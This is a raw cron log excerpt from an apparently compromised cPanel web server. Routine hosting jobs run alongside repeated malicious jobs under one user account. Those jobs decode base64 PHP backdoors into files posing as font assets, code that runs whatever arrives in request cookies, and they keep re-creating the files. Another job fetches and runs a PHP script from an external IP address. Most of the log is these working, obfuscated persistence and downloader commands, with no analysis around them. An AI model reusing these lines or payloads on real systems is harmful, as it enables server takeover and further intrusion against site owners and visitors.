Sep  8 18:29:01 ip-184-168-122-23 CROND[2207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:29:01 ip-184-168-122-23 CROND[2209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2467]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:30:01 ip-184-168-122-23 CROND[2473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:30:01 ip-184-168-122-23 CROND[2480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:31:01 ip-184-168-122-23 CROND[2799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:31:01 ip-184-168-122-23 CROND[2800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:31:01 ip-184-168-122-23 CROND[2803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:31:01 ip-184-168-122-23 CROND[2804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:31:01 ip-184-168-122-23 CROND[2805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:32:01 ip-184-168-122-23 CROND[3014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:32:01 ip-184-168-122-23 CROND[3016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:32:01 ip-184-168-122-23 CROND[3018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:32:01 ip-184-168-122-23 CROND[3019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:32:01 ip-184-168-122-23 CROND[3021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:33:01 ip-184-168-122-23 CROND[3300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:33:01 ip-184-168-122-23 CROND[3304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:33:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:33:01 ip-184-168-122-23 CROND[3303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:34:01 ip-184-168-122-23 CROND[3596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:34:01 ip-184-168-122-23 CROND[3598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:34:01 ip-184-168-122-23 CROND[3599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:34:01 ip-184-168-122-23 CROND[3600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:34:01 ip-184-168-122-23 CROND[3601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3936]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3938]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:35:01 ip-184-168-122-23 CROND[3941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:35:01 ip-184-168-122-23 CROND[3943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:36:01 ip-184-168-122-23 CROND[4181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:36:01 ip-184-168-122-23 CROND[4184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:36:01 ip-184-168-122-23 CROND[4185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:36:01 ip-184-168-122-23 CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:36:01 ip-184-168-122-23 CROND[4186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:37:01 ip-184-168-122-23 CROND[4438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:37:01 ip-184-168-122-23 CROND[4439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:37:01 ip-184-168-122-23 CROND[4441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:37:01 ip-184-168-122-23 CROND[4440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:38:01 ip-184-168-122-23 CROND[4651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:38:02 ip-184-168-122-23 CROND[4654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:38:02 ip-184-168-122-23 CROND[4652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:38:02 ip-184-168-122-23 CROND[4653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:38:02 ip-184-168-122-23 CROND[4655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:39:01 ip-184-168-122-23 CROND[4901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:39:01 ip-184-168-122-23 CROND[4902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:39:01 ip-184-168-122-23 CROND[4904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:39:01 ip-184-168-122-23 CROND[4905]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 18:39:01 ip-184-168-122-23 CROND[4906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:40:02 ip-184-168-122-23 CROND[5159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:40:02 ip-184-168-122-23 CROND[5160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:40:02 ip-184-168-122-23 CROND[5166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:41:01 ip-184-168-122-23 CROND[5402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:41:01 ip-184-168-122-23 CROND[5404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
